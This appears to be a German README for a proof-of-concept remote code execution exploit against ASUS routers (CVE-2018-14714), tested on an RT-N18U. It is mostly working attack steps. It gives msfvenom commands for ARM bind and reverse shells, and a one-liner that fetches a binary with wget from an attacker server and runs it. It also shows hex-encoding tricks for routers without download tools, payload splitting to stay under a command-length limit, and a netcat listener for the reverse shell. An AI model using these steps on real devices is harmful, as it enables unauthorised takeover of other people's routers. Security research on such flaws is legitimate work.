
ASUS wifi router RCE vulnerability
ASUS WLAN-Router RCE-Schwachstelle
Dieses PoC dient nur zu Lern- und Forschungszwecken. Verwenden Sie es nicht für illegale Aktivitäten; Sie sind allein für etwaige rechtliche Konsequenzen verantwortlich.
Im folgenden Demo-Video ist das getestete Gerät ein ASUS RT-N18U mit der Firmware-Version 3.0.0.4.378.9216., ein Router, den ich während meines Studiums gekauft habe. Es ist jetzt meine Testmaschine :)
Ausnutzungsbedingungen
Sie müssen die Abhängigkeiten installieren:
$ python3 -m pip install requestsFühren Sie das Skript direkt aus, um die Nutzungsanweisungen zu erhalten. Sie können den folgenden Befehl ausführen, um zu überprüfen, ob das Ziel verwundbar ist.
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

Sie können den Befehl msfvenom verwenden, um eine leichtgewichtige Reverse-Shell-Binärdatei zu erzeugen. Sie können die Parameter je nach Kernel-Umgebung anpassen. In meinem Fall ist es armv7l, und der Befehl lautet wie folgt:
Bind-Shell
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

Reverse-Shell
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

Wenn Ihr Zielgerät über den Befehl wget verfügt, können Sie, nachdem Sie auf Port 4444 lauschen, den folgenden Befehl in einer Pseudo-Shell verwenden, um eine Reverse-Shell zu erhalten:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
Wenn Ihre Zielumgebung keine eingebauten Befehle für den Fernzugriff auf Ressourcen hat, lesen Sie bitte weiter.
Konvertieren Sie die erzeugte Binärdatei in Binärdaten.
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

Um das Vorhandensein einer Schwachstelle auf dem Ziel zu bestätigen, führen Sie das Python-Skript erneut aus, jedoch mit den zusätzlichen Shell-Parametern, um eine interaktive Pseudo-Shell zu erhalten. Bitte beachten Sie, dass es normal ist, wenn Befehle keine Ausgabe erzeugen, da es keinen Ort gibt, um stdout zu empfangen. Die Verwendung des Befehls sleep kann jedoch helfen zu überprüfen, dass die Befehle tatsächlich ausgeführt wurden.

Zusätzlich ist es wichtig zu beachten, dass die Befehlszeile basierend auf Tests maximal 1022 Zeichen erlaubt. Sie müssen Befehle konstruieren, die weniger als 1022 Zeichen lang sind. Daher müssen Sie das Payload manuell aufteilen und in Teilen ausführen, um sicherzustellen, dass unser Befehl erfolgreich ausgeführt wird.

Als Nächstes holen wir uns eine echte Reverse-Shell. Sie können zunächst auf dem angegebenen Port lauschen.
$ nc -lvnp 4444
Führen Sie das Python-PoC-Skript aus, um eine Pseudo-Shell zum Injizieren des Payloads zu erhalten.
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

Zum Schluss müssen Sie nur noch Ihre erworbene Reverse-Shell genießen :)
